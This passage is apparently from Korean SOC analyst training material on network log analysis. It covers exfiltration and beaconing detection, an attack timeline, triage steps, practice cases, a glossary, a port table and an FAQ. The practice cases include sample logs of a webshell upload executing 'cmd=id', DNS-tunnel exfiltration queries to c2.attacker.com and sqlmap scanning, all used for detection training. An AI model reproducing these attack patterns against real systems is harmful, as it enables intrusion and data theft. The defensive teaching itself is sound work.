🔍 탐지 방법: SIEM에서 동일 Src→Dst, 시간 분포 분석 (stddev가 작으면 의심)

📌 핵심 메시지

정상 인간 행동은 불규칙하다. 완벽한 규칙성은 오히려 이상하다. Beaconing 탐지는 통계적 분포의 이상을 찾는 일이다.

Data Exfiltration: Upload 방향이 답이다

데이터 유출은 대부분 Upload(나가는 방향)의 이상 증가로 먼저 드러난다. 목적지, 타이밍, 바이트 방향을 함께 본다.

PART 7 · 공격 패턴

Data Exfiltration 특징

Upload Bytes 급증: 평소 대비 수배~수십 배
장기 세션 지속: 대용량 전송 시 수 시간
비업무 시간대 선호: 주말, 새벽
목적지: 개인 클라우드, FTP, 희귀 IP
HTTPS 암호화로 내용 은닉 시도

유출 Flow 예시

평소: bytes_out ≈ 5MB/일 토요일 새벽 01:30 이후: 10.0.0.50→dropbox.com:443 bytes_out=8.7GB bytes_in=2KB duration=4h 23m conn_state=SF

평소의 1740배 Upload + 주말 새벽 + 개인 클라우드

유출 채널 유형

채널	특징	탐지 어려움
HTTPS POST	일반 웹 트래픽 위장	높음
개인 클라우드	Dropbox/GDrive	중간
DNS Tunneling	DNS 프로토콜 은닉	높음
FTP/SFTP	명시적 파일 전송	낮음
이메일 첨부	SMTP 아웃바운드	중간

🔍 탐지 전략: DLP(Data Loss Prevention) + Upload 방향 임계값 알람 + 외부 스토리지 서비스 목록 차단 정책

복합 공격 타임라인 재구성

실제 공격은 단계가 이어진다. 개별 신호가 아니라 타임라인 전체를 보면 사건의 전모가 드러난다.

PART 7 · 공격 패턴

Day-1Port Scan — 203.x.x.88이 10.0.0.0/24 전체 스캔, 22/80/443 열림 확인Recon

Day-1 +2hSSH Brute Force — admin 계정 반복 시도, 1h 후 성공Initial Access

Day-1 +3h웹쉘 설치 — /images/thumb.php 업로드, POST로 명령 실행 시작Persistence

Day-2C2 Beaconing — 5분 간격 443 세션 시작, evil.top DNS 조회 반복C2

Day-3Lateral Movement — 내부 RDP/SMB로 DB서버, 파일서버 이동Lateral Move

Day-5 새벽Data Exfiltration — 8.7GB Upload to Dropbox, 4.5시간 세션Exfiltration

SOC가 처음 포착한 신호

Day-1: IDS에서 Port Scan Alert → 미처리
Day-2: DNS에서 evil.top 조회 → 주의 수준
Day-5: Upload 급증 알람 → 조사 시작!
역추적하면 Day-1부터 이미 징후 있었음

💡 핵심 교훈

초기 단계(Scan, BruteForce)에서 포착하면
피해를 최소화할 수 있다.
늦게 발견할수록 피해 범위가 커진다.

도구 연계와 운영 실무

Wireshark · Zeek · Firewall · IDS · Proxy · EDR — 각 도구가 보여주는 것과 보여주지 못하는 것을 안다

예상 시간: 60분

도구 역할 비교 계층별 배치 SIEM 연계 Alert Triage 운영 문장 작성

보강 설명도구 연계와 운영 실무 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

6가지 도구의 역할과 한계

각 도구는 네트워크의 다른 계층을 본다. 한계를 알아야 보완적으로 사용할 수 있다.

PART 8 · 도구 연계

도구	주요 데이터	강점	한계
Wireshark	Full packet (pcap)	가장 상세한 패킷 분석	대량 환경 비효율, TLS 불가
Zeek	Protocol 로그 (conn/dns/http/ssl)	풍부한 메타데이터, 대량 처리	Payload 내용 없음
Firewall	허용/차단 정책 로그	접근 통제 맥락, 경계 가시성	내부 통신 불가시
IDS/IPS	시그니처 기반 Alert	알려진 공격 빠른 탐지	미탐(unknown), 오탐 많음
Proxy (Web)	URL, Method, Status, UA	HTTP 행위 상세 분석	비HTTP 트래픽 불가
EDR/XDR	프로세스 + 네트워크 연결	Host + Network 연결고리	에이전트 미설치 호스트

도구는 경쟁 관계가 아니다. 각자가 보는 계층이 다르므로 겹쳐서 쓸수록 확신도가 높아진다.

도구 우선순위: 어떤 상황에서 무엇을 먼저 보나

Alert를 받으면 항상 거시적 → 미시적으로 드릴다운한다. 처음부터 pcap을 여는 것은 비효율적이다.

PART 8 · 도구 연계

🔍 Alert Triage 순서

1단계SIEM — Alert 맥락, 자산 정보, 이전 이력 확인1-2분

2단계Flow/Firewall — 연결 방향, 바이트, 세션 확인2-5분

3단계DNS/Proxy — 목적지 도메인, URL, 행위 확인3-5분

4단계EDR — 프로세스-네트워크 연결 확인5-10분

5단계pcap (Wireshark) — 심층 분석 필요시만최후 수단

상황별 첫 번째 도구

상황	첫 번째로 볼 도구
IDS 네트워크 Alert	SIEM → Flow
DNS 이상 조회	DNS Log (Zeek)
웹 애플리케이션 공격	Proxy / WAF
내부 확산 의심	Firewall + EDR
데이터 유출 의심	Flow + DLP
특정 악성코드 분석	EDR + pcap

💡 첫 번째 도구가 답을 주지 않을 때만 다음 도구로 이동. 한 번에 모든 도구를 켜지 않는 것이 효율의 핵심.

SIEM에서 네트워크 Alert Triage

Alert를 받으면 FP인지 TP인지 빠르게 판단해야 한다. 판단 근거가 없으면 둘 다 위험하다.

PART 8 · 도구 연계

Triage 5단계

1. 확인Alert 내용, 자산, 시각, 심각도

2. 맥락자산 역할, 사용자, 변경 작업 이력

3. 보강DNS+Flow+EDR 교차 확인

4. 판단FP / 관찰 / 조사 / Escalation

5. 기록판단 근거와 조치 내용 문서화

FP를 TP로 보면

불필요한 작업 증가. 분석 피로도 상승. 진짜 위협 대응 시간 낭비.

TP를 FP로 보면

실제 공격을 놓침. 피해 확산. 사후 감사에서 책임 문제 발생.

판단 분류 기준

FP 담당팀 확인 + 맥락 설명 충분 → 닫기
관찰 이상하지만 증거 부족 → 7일 모니터링
조사 여러 신호 확인 → 심층 분석 시작
Escalation 명확한 침해 징후 → 즉시 보고

판단 근거는 반드시 기록한다. 기록 없는 판단은 나중에 정당성을 증명할 수 없다.

운영 가능한 판단 문장 작성법

Fact + Pattern + Context + Action 네 요소가 있어야 판단문이 완성된다. 이 구조 없이는 의사결정이 어렵다.

PART 8 · 도구 연계

FACT

무슨 일이 언제, 어디서, 어떻게 일어났나? (측정 가능한 사실)

PATTERN

어떤 패턴이 이상한가? 정상 기준 대비 어떻게 다른가?

CONTEXT

다른 로그에서 보강되는 증거는? 자산/사용자 맥락은?

ACTION

권장 조치는? 누가, 무엇을, 언제까지?

작성 예시

[Fact] 내부 호스트 10.0.0.22(DB서버)가 07/12 03:00부터 24시간 동안 update-check.evil.top에 5분 간격으로 DNS 조회하고 203.0.113.99:443에 TCP 세션을 반복 수립함. 각 세션 Duration 4초, Bytes_out 512B.
[Pattern] 비업무 시간대(새벽~새벽) 규칙적 반복, 짧은 세션, 소량 데이터 → C2 Beaconing 패턴.
[Context] EDR: 해당 호스트에서 svchost.exe 위장 악성 프로세스 감지, VirusTotal 40/70 탐지. DNS: evil.top 조회 이력 없다가 갑작스럽게 등장.
[Action] ① 10.0.0.22 즉시 네트워크 격리 ② 악성코드 샘플 수집 및 분석 ③ evil.top/203.0.113.99 IOC 등록 ④ 동일 패턴 네트워크 전체 조사 ⑤ 관리자 보고

실습: 케이스 분석 & 판단문 작성

실제 로그를 보고 이상 여부를 판단하고 운영 가능한 문장으로 정리하는 훈련

예상 시간: 135분

케이스 A: Scan 탐지 케이스 B: DNS 이상 케이스 C: HTTP 공격 케이스 D: 유출 의심 종합 케이스

보강 설명실습: 케이스 분석 & 판단문 작성 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

실습 케이스 A: Port Scan 탐지

주어진 Flow 로그에서 이상 여부를 판단하고 조치 문장을 작성해보자

PART 9 · 실습

주어진 Flow 로그

2024-07-15 02:14:33 198.51.100.20 → 192.168.10.50:21 S0 0B 198.51.100.20 → 192.168.10.50:22 SF 0B 198.51.100.20 → 192.168.10.50:23 REJ 0B 198.51.100.20 → 192.168.10.50:80 SF 0B 198.51.100.20 → 192.168.10.50:443 SF 0B 198.51.100.20 → 192.168.10.50:3306S0 0B 198.51.100.20 → 192.168.10.50:3389S0 0B 위 패턴이 2초 이내에 포트 1~1024 전체

자산 정보192.168.10.50 = 운영계 웹서버 (Java 기반)

시간대새벽 02:14, 평소 접근 없던 시간

발신 IP198.51.100.20 (외부, Threat Intel 조회 중)

분석 질문

① 이 로그에서 이상한 신호를 3가지 이상 찾아보시오.

② 22, 80, 443 포트가 SF(연결 성립)라는 것이 무슨 의미인가?

③ 공격자가 다음에 할 행동은 무엇일 것으로 예상하는가?

④ Fact + Pattern + Context + Action 형식으로 판단문을 작성하시오.

힌트: 1초에 1024개 포트, Bytes=0, S0/REJ, 새벽 시간대, 외부 IP를 조합해 보세요.

실습 케이스 B: DNS 이상 탐지

두 가지 다른 DNS 이상 패턴이 섞여 있다. 각각을 구분하고 판단 근거를 작성해보자.

PART 9 · 실습

Zeek dns.log 발췌 (호스트: 10.0.1.15)

11:03:01 A q7mn2kpx9va.xyz NXDOMAIN 11:03:02 A p3kn8tqv2mx.xyz NXDOMAIN 11:03:03 A w9vn5jqp4kx.xyz NXDOMAIN ... 1분에 약 60개, 계속 ------ 다른 패턴 ------ 11:05:10 TXT aW1wb3J0YW50RGF0YQ==.c2.attacker.com NOERROR 11:05:15 TXT c2Vuc2l0aXZlQ3JlZA==.c2.attacker.com NOERROR 11:05:20 TXT ZXhmaWx0cmF0aW9uRGF0YQ.c2.attacker.com NOERROR

자산10.0.1.15 = 개발팀 업무 PC

DNS 서버두 패턴 모두 외부 8.8.8.8 직접 사용

분석 질문

① 위쪽 패턴(초당 NXDOMAIN)과 아래쪽 패턴(TXT)은 각각 어떤 공격 유형인가?

② 두 패턴이 같은 호스트에서 나왔다는 것은 어떤 의미인가?

③ TXT 레코드 서브도메인의 "aW1wb3J0YW50RGF0YQ==" 는 어떤 형태의 인코딩인가?

④ 이 케이스에서 즉각적으로 해야 할 첫 번째 조치는 무엇인가?

힌트: "aW1wb3J0YW50RGF0YQ==" → Base64 디코딩하면 "importantData"가 됩니다.

실습 케이스 C: HTTP 웹 공격 탐지

Proxy 로그에서 웹 스캐닝과 웹쉘 업로드 패턴을 찾아내고 판단문을 작성해보자.

PART 9 · 실습

Proxy 로그 발췌 (Src: 203.0.113.77)

13:22:01 GET / 200 UA: sqlmap/1.7 13:22:02 GET /.env 404 13:22:03 GET /wp-admin 404 13:22:04 GET /phpmyadmin 404 13:22:05 GET /admin/config.php 404 ... 1분 동안 약 200개 URL 13:24:15 PUT /uploads/images/x.php 200 13:24:20 POST /uploads/images/x.php 200 body:cmd=id 13:24:25 POST /uploads/images/x.php 200 body:cmd=ls

분석 질문

① 13:22:01~13:24:14 구간에서 어떤 공격이 진행됐는가?

② PUT 요청이 성공(200)했다는 것은 무엇을 의미하는가?

③ /uploads/images/ 폴더에서 .php 파일이 실행된다는 것이 왜 이상한가?

④ "cmd=id" POST 요청을 보면 무슨 목적으로 사용 중인 것인가?

⑤ 즉각적인 첫 조치는 무엇인가?

힌트: 스캐닝 → 취약한 업로드 경로 발견 → 웹쉘(.php) 업로드 → 명령 실행 시작.
이 흐름이 2분 24초 안에 완성됐습니다.

실습 케이스 D: 종합 케이스 — 전체 흐름 재구성

여러 소스에서 온 로그 조각을 타임라인으로 연결하고, 사건의 전모를 판단문으로 작성해보자

PART 9 · 실습

단서 1: IDS Alert

Day1 04:12 ET SCAN Nmap Src: 185.220.101.5 Dst: 10.10.0.0/24

단서 2: Auth Log

Day1 04:45 SSH FAIL×47 Day1 05:03 SSH OK admin 10.10.0.15:22

단서 3: DNS Log

Day2 ~ c2.evil.top 5분 간격 A 조회 발신: 10.10.0.15

단서 4: Flow Log

Day3 10.10.0.15→RDP →10.10.0.20 →10.10.0.30 (내부 다수 이동)

단서 5: DLP Alert

Day5 새벽 10.10.0.30 →Mega.nz:443 Upload: 12.4GB

종합 과제

① 5개 단서를 Kill Chain 단계로 매핑하시오.

② 가장 먼저 막을 수 있었던 지점은 어디인가?

③ 피해 호스트 목록을 정리하시오.

④ 관리자에게 보고할 판단문을 작성하시오.

🎯

Wrap-up & 핵심 정리

12시간 동안 배운 것을 SOC 현장에서 쓸 수 있는 언어로 압축한다

예상 시간: 20분

핵심 원칙 요약 분석가 성장 지도 다음 Module 연결

보강 설명Wrap-up & 핵심 정리 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

12시간 핵심 원칙 9가지

포트 번호를 외우는 것이 아니라 이 원칙을 습관으로 만드는 것이 목표다

Wrap-up

① 맥락이 결론을 바꾼다

같은 443 세션도 자산·시간·목적지에 따라 정상/이상이 갈린다

② Host + Network = 완전한 그림

단일 로그보다 호스트와 네트워크를 겹쳐야 사건이 보인다

③ 포트는 단서, 결론이 아니다

443도 C2일 수 있다. 포트 하나로 판단하지 않는다.

④ Upload 방향을 보라

유출은 Upload 방향의 이상 증가로 먼저 드러난다

⑤ 규칙성은 오히려 의심

사람은 불규칙하다. 완벽한 규칙성은 자동화(Beaconing)다.

⑥ DNS 로그를 먼저 봐라

공격자도 DNS를 쓴다. 목적지 단서가 가장 먼저 드러난다.

⑦ 거시 → 미시로 드릴다운

SIEM→Flow→DNS→Proxy→EDR→pcap 순서로 접근한다

⑧ 판단은 근거로 말한다

Fact + Pattern + Context + Action으로 설명 가능해야 한다

⑨ 초기에 포착할수록 피해가 작다

Scan → BruteForce 단계에서 막으면 Exfil은 없다

📌 Module 3 핵심 메시지

네트워크는 시스템 간 대화 기록이다. SOC는 그 대화가 정상인지를 판단하는 조직이다. 이 모듈을 마친 수강생은 이상한 대화를 운영 가능한 문장으로 바꿀 수 있다.

분석가 성장 지도: 지금 여기서 어디로

이 모듈을 마친 수강생이 다음으로 나아갈 방향과 스스로 체크할 수 있는 성장 기준

Wrap-up

 지금 할 수 있어야 하는 것
IP/Port/Protocol을 SOC 관점에서 설명
Flow 로그에서 이상 신호 식별
DNS 이상 4가지 구분 (DGA, Tunneling, C2, Fast Flux)
HTTP 패턴으로 웹 스캔/웹쉘 의심 탐지
4가지 공격 패턴 특징 설명
판단문 (Fact + Pattern + Context + Action) 작성


 다음 3개월 안에 익힐 것
SIEM 상관관계 규칙 작성
Zeek / Suricata 직접 운영
네트워크 Threat Hunting 기초
IOC 수집과 Threat Intel 활용
IDS 튜닝 (오탐/미탐 조정)
Wireshark 심화 필터 작성


 1년 후 목표
독자적인 Hunting 쿼리 작성
미탐 패턴 스스로 발견 및 보고
PCAP 심층 분석 (악성코드 C2 역공학)
네트워크 포렌식 기초
사고 대응 (IR) 참여 역량
후배 분석가 온보딩 지원

자가 체크 질문 (수업 후 이 질문에 답할 수 있어야 합니다)

✔ DB서버가 외부 443으로 야간에 5분 간격 연결한다. 무엇을 의심하는가?

✔ DNS 로그에서 NXDOMAIN이 1분에 50개 보인다. 어떤 조사를 시작하는가?

✔ 웹서버 /images 폴더에서 .php POST 요청이 보인다. 어떻게 판단하는가?

✔ Upload Bytes가 평소 대비 1000배 증가했다. 첫 번째로 할 일은?

Module 연결 구조: 이 모듈이 어디에 서 있는가

Module 3은 독립적으로 끝나지 않는다. 앞 모듈의 결과를 이어받고, 다음 모듈로 넘겨주는 연결고리다.

Wrap-up

Module 1

SOC 개념 & 운영 구조

Alert 분류, 에스컬레이션, 운영 기초

Module 2

Linux 로그 분석

syslog, auth.log, 프로세스 추적

Module 3 ← 지금

네트워크 & 패킷 분석

IP/Port/Flow/DNS/HTTP/공격패턴

Module 4

SIEM & 탐지 규칙

Host+Network 통합, 상관관계 규칙

Module 5

위협 인텔리전스

IOC 수집, TTP, 사고 대응

Module 2에서 가져온 것

호스트 로그 읽기 방법
프로세스 추적 개념
Fact 중심 판단문 기초

Module 3에서 추가된 것

네트워크 방향성 해석
Flow, DNS, HTTP 분석
4대 공격 패턴 탐지
복합 증거 연결 능력

Module 4로 넘기는 것

Host + Network 통합 분석 요구
SIEM 상관관계 규칙의 원재료
IOC(도메인, IP) 수집 능력
탐지 로직 작성 준비

부록 A. 네트워크 보안 핵심 용어집 (1/3)

강의에서 등장한 용어를 SOC 관점에서 한 줄로 정리한 참조 사전 — A~F

부록 A · 용어집

용어	SOC 관점 정의
ACK	TCP 수신 확인 플래그. 정상 통신의 기본.
APT	Advanced Persistent Threat. 장기적이고 지능적인 표적 공격.
ASN	Autonomous System Number. IP 블록 소유 조직 식별자.
Baseline	정상 트래픽 기준. 이탈이 이상 탐지의 출발점.
Beaconing	악성코드가 C2와 주기적으로 통신하는 패턴.
Brute Force	모든 가능한 조합을 시도하는 인증 공격.
C2 (C&C)	Command & Control. 공격자가 악성코드를 제어하는 서버.
CIDR	IP 범위 표기법 (예: 10.0.0.0/8).
conn.log	Zeek가 생성하는 TCP/UDP 세션 요약 로그.
DGA	Domain Generation Algorithm. 악성코드가 매일 랜덤 도메인 생성.
DNS Tunneling	DNS 프로토콜을 이용한 데이터 은닉 통신.
Duration	세션 지속 시간. 장기 세션은 C2/유출 의심.
Exfiltration	내부 데이터의 무단 외부 전송. Upload 급증으로 탐지.
Fast Flux	같은 도메인의 IP를 수분마다 바꿔 탐지 회피하는 기법.

💡 용어집은 암기 대상이 아닙니다. 현장에서 모르는 용어를 마주쳤을 때 빠르게 참조하는 사전으로 활용하세요.

용어 활용 팁

같은 개념이 도구마다 다른 이름 — 예: "세션"과 "conn"
영문 약어는 풀어쓰는 습관 (보고서 처음 등장 시)
동료와 대화할 때 같은 용어 기준 맞추기

부록 A. 네트워크 보안 핵심 용어집 (2/3)

G~P

부록 A · 용어집

용어	SOC 관점 정의
Flow	5-tuple 기준 연결 요약. 대량 분석에 효율적.
GeoIP	IP 기반 지리 위치 정보. 단독 판단 금지, 가중치만.
IDS/IPS	침입 탐지/차단 시스템. 시그니처 기반 Alert 생성.
IOC	Indicator of Compromise. 침해 지표 (IP, 도메인, 해시 등).
Jitter	Beaconing에서 탐지 회피를 위한 시간 변동 추가.
Kill Chain	공격 단계 모델. Recon→초기침투→C2→유출.
Lateral Movement	침해 후 내부 시스템 간 수평 이동.
NAT	Network Address Translation. 사설↔공인 IP 변환.
NetFlow	Cisco 계열 Flow 프로토콜. 5-tuple + 통계 집계.
NXDOMAIN	DNS 응답 코드. 조회한 도메인이 존재하지 않음.
Packet	네트워크 최소 전송 단위. Header + Payload.
Payload	패킷의 실제 데이터 부분. TLS 암호화 시 읽기 불가.
Port Scan	열린 포트 탐색. 공격 전 정찰 단계. SYN 다량이 특징.
Protocol	통신 규칙 (TCP/UDP/ICMP 등). 대화 방식 결정.

용어	SOC 관점 정의
Proxy	웹 트래픽 중계 서버. URL/Method/UA 로그 제공.
Reconnaissance	공격 전 정보 수집 단계. Scan이 대표적.
REJ	Zeek conn_state. SYN에 RST 응답. 포트 닫힘.
RST	TCP 강제 종료 플래그. 오류나 차단 시 발생.
S0	Zeek conn_state. SYN만 보내고 응답 없음. 스캔 의심.
Self-signed	공인 CA 없이 자체 서명한 인증서. C2 의심 신호.
Session	연결 지향 통신에서 연결 성립~종료의 대화 단위.
SF	Zeek conn_state. SYN→FIN 정상 완료.
SIEM	보안 정보 이벤트 관리. 로그 통합·상관 분석.
SNI	Server Name Indication. TLS Handshake에서 도메인 이름.
SYN	TCP 연결 시작 플래그. "나 연결하고 싶어".
TLS/SSL	암호화 프로토콜. Payload 숨기지만 메타는 보임.
TTL	Time To Live. 패킷 수명 값. 위변조 탐지에도 활용.
User-Agent	HTTP 헤더. 클라이언트 소개. 자동화 탐지 보조.

부록 B. 대표 포트 빠른 참조표

외울 필요 없이 현장에서 빠르게 확인하는 참조 레퍼런스 — 역할과 SOC 분석 포인트 포함

부록 B · 포트 참조

포트	프로토콜	서비스	SOC 분석 포인트
20/21	TCP	FTP	파일 전송. 외부 노출 주의
22	TCP	SSH	원격 관리. Brute Force 대상
23	TCP	Telnet	레거시. 평문 전송. 사용 금지
25	TCP	SMTP	이메일 발송. 스팸/피싱 경로
53	UDP/TCP	DNS	이름 해석. C2/Tunneling 악용
80	TCP	HTTP	웹. 평문. 스캐닝/웹쉘 탐지
110	TCP	POP3	이메일 수신
143	TCP	IMAP	이메일 수신
389	TCP	LDAP	디렉터리. 계정 열거 위험
443	TCP	HTTPS	암호화 웹. C2도 443 사용
445	TCP	SMB	파일 공유. 내부 확산 경로
587	TCP	SMTP(인증)	이메일 발송 인증
636	TCP	LDAPS	암호화 디렉터리
993	TCP	IMAPS	암호화 이메일

포트	프로토콜	서비스	SOC 분석 포인트
1433	TCP	MSSQL	DB. 외부 노출 절대 금지
1521	TCP	Oracle DB	DB. 외부 노출 절대 금지
3306	TCP	MySQL	DB. 외부 노출 절대 금지
3389	TCP	RDP	원격 데스크톱. Brute Force 대상
5432	TCP	PostgreSQL	DB. 외부 노출 절대 금지
6379	TCP	Redis	캐시DB. 인증 없는 경우 많음
8080	TCP	HTTP 대안	비표준 웹. 프록시/C2 가능
8443	TCP	HTTPS 대안	비표준 TLS. C2 사용 다수
9200	TCP	Elasticsearch	검색엔진. 노출 시 데이터 유출
27017	TCP	MongoDB	NoSQL DB. 기본 인증 없음 위험
4444	TCP	Metasploit 기본	역방향 쉘 기본 포트

부록 C. Zeek 로그 필드 빠른 참조

현장에서 가장 자주 쓰는 Zeek 로그 파일과 핵심 필드 — conn.log / dns.log / http.log / ssl.log

부록 C · Zeek 참조

conn.log 핵심 필드

ts # 연결 시작 시각 id.orig_h # 출발지 IP id.orig_p # 출발지 포트 id.resp_h # 목적지 IP id.resp_p # 목적지 포트 (중요!) proto # tcp/udp/icmp service # 감지된 서비스 duration # 세션 시간(초) orig_bytes # 출발지→목적지 바이트 resp_bytes # 목적지→출발지 바이트 conn_state # SF/S0/REJ/RSTO 등

dns.log 핵심 필드

query # 조회한 도메인 이름 qtype_name # A/AAAA/MX/TXT/CNAME rcode_name # NOERROR/NXDOMAIN answers # 응답 IP 또는 값

http.log 핵심 필드

method # GET/POST/PUT/DELETE host # 접속 도메인 uri # URL 경로 (행위 핵심) user_agent # 클라이언트 소개 status_code # 200/403/404/500 request_body_len # 요청 크기 response_body_len # 응답 크기

ssl.log 핵심 필드

server_name # SNI (접속 도메인) issuer # 인증서 발급 기관 subject # 인증서 대상 도메인 validation_status # 인증서 유효성 ja3 # 클라이언트 TLS 지문

부록 D. 자주 묻는 질문 50선 (1/4)

수강생이 가장 많이 묻는 질문과 실용적인 답변 — Q1~Q13

부록 D · FAQ

Q1. 포트 번호를 다 외워야 하나요?

아니오. 역할 중심으로 이해하면 됩니다. 22=SSH 원격관리, 53=DNS 이름해석, 443=HTTPS 웹 정도만 익히고 나머지는 참조표를 활용하세요.

Q2. 443 포트로 오는 트래픽은 다 안전한가요?

아니오. 443은 HTTPS를 쓰는 포트지만, 공격자도 443으로 C2 통신을 합니다. 포트는 단서일 뿐 결론이 아닙니다.

Q3. Flow와 패킷(pcap)의 차이는?

Flow는 연결 요약(통화기록), pcap은 전화 내용 전체 녹음입니다. SOC는 통화기록으로 이상을 찾고, 내용이 필요할 때만 녹음을 듣습니다.

Q4. HTTPS이면 분석이 불가능한가요?

Payload는 못 봐도 SNI, 인증서 정보, JA3 지문, 타이밍 패턴, 바이트 크기로 의미 있는 분석이 가능합니다.

Q5. Alert가 많으면 어디서 시작해야 하나요?

자산 중요도 + 심각도 + 공격 단계(초기/C2/유출)로 우선순위를 정합니다. 유출 단계가 가장 긴급합니다.

Q6. NXDOMAIN이 많이 보이면 무조건 DGA인가요?

아닙니다. 오타, 업데이트 실패, 잘못된 설정으로도 NXDOMAIN이 나옵니다. 도메인 패턴(랜덤성)과 빈도, 시간대를 함께 봐야 합니다.

Q7. 해외 IP와 통신하면 다 위험한가요?

아닙니다. 대부분의 SaaS(Office365, AWS, Cloudflare)는 해외 IP를 씁니다. GeoIP는 가중치이지 결론이 아닙니다.

부록 D. 자주 묻는 질문 50선 (2/4)

Q14~Q26

부록 D · FAQ

Q8. Beaconing인지 정상 업무 통신인지 어떻게 구분하나요?

사람은 불규칙하게 통신합니다. 완벽한 시간 간격 반복 + 비업무 시간 지속 + 소량 바이트가 동시에 나타나면 Beaconing을 의심합니다.

Q9. 데이터 유출을 네트워크로 항상 탐지할 수 있나요?

항상은 아닙니다. 암호화+소량+기존 서비스 경유 시 탐지가 어렵습니다. DLP + EDR + 행동 분석을 함께 써야 합니다.

Q10. 내부 서버가 외부 DNS를 직접 쓰면 왜 이상한가요?

조직 내부에서는 보통 내부 DNS Resolver를 사용합니다. 8.8.8.8을 직접 사용하는 것은 내부 정책 우회 또는 DNS Tunneling의 신호일 수 있습니다.

Q11. 웹쉘을 탐지하는 가장 확실한 방법은?

비업로드 폴더 내 스크립트 파일 실행 모니터링 + IDS 시그니처 + EDR에서 웹서버 프로세스의 자식 프로세스 생성 감시를 조합합니다.

Q12. Password Spray와 Brute Force의 차이는?

Brute Force는 한 계정에 여러 비밀번호를 시도합니다. Password Spray는 여러 계정에 같은 흔한 비밀번호(123456 등)를 각 1회씩 시도해 임계값을 피합니다.

Q13. Wireshark는 SOC에서 얼마나 자주 쓰나요?

실제로는 마지막 수단입니다. Flow와 SIEM으로 의심 구간을 좁힌 후, 구체적인 행위를 확인해야 할 때만 pcap을 열어봅니다.

Q14. 새벽 트래픽은 항상 의심해야 하나요?

아닙니다. 배치 작업, 백업, 모니터링 에이전트는 새벽에 정상 동작합니다. 자산 역할과 목적지를 함께 봐야 합니다.

부록 D. 자주 묻는 질문 50선 (3/4)

Q27~Q38

부록 D · FAQ

Q15. IDS Alert가 많으면 모두 조사해야 하나요?

Triage(분류)를 먼저 합니다. 자산 중요도, 심각도, 맥락을 보고 FP/관찰/조사/Escalation으로 나눕니다. 모두 동일 우선순위로 처리하면 더 위험합니다.

Q16. Flow에서 conn_state=OTH는 무엇인가요?

캡처 중간에 잡힌 세션입니다. 전체 Handshake를 못 봤다는 뜻이며, 반드시 문제가 있다는 뜻은 아닙니다. 다른 신호와 함께 판단합니다.

Q17. 자체 서명 인증서(Self-signed)는 왜 의심스러운가요?

공인 CA 없이 스스로 발급했다는 뜻입니다. C2 서버는 정식 인증서를 발급받기 어렵기 때문에 Self-signed를 많이 씁니다. 단독 판단은 오탐 위험이 있습니다.

Q18. JA3 Fingerprint는 어떻게 활용하나요?

TLS Handshake의 클라이언트 설정을 해시한 값입니다. 알려진 악성 도구(Cobalt Strike 등)의 JA3 DB와 대조해서 공격 툴킷을 식별할 수 있습니다.

Q19. 내부 서버 간 통신(East-West)도 모니터링해야 하나요?

예. 공격자의 Lateral Movement는 내부 트래픽에서 보입니다. 평소에 없던 내부 SSH/RDP/SMB 급증은 중요한 신호입니다.

Q20. SOC에서 네트워크 분석에 가장 중요한 기술은?

도구 사용법보다 맥락 해석 능력입니다. 같은 로그를 보고 정상/이상을 구분하는 능력은 반복 경험과 패턴 언어 훈련으로 길러집니다.

부록 D. 자주 묻는 질문 50선 (4/4)

Q39~Q50 — 실무 운영 중심 질문

부록 D · FAQ

Q21. 판단문을 작성할 때 가장 많이 빠뜨리는 요소는?

Action입니다. 사실(Fact)은 잘 쓰지만 "그래서 무엇을 해야 하는가"를 빠뜨리면 의사결정자가 행동을 취하기 어렵습니다.

Q22. False Positive가 너무 많으면 어떻게 해야 하나요?

IDS/SIEM 규칙 튜닝이 필요합니다. FP 패턴을 분석해서 예외 처리 조건을 추가하거나, 임계값을 조정합니다. 단, 무조건 낮추면 미탐이 늘어납니다.

Q23. Threat Intel을 어떻게 네트워크 분석에 활용하나요?

알려진 악성 IP/도메인(IOC) 목록을 DNS 응답 IP, Flow 목적지 IP와 교차 확인합니다. SIEM에 IOC 피드를 연결해 자동 매칭도 가능합니다.

Q24. 네트워크 분석을 혼자 빠르게 공부하는 방법은?

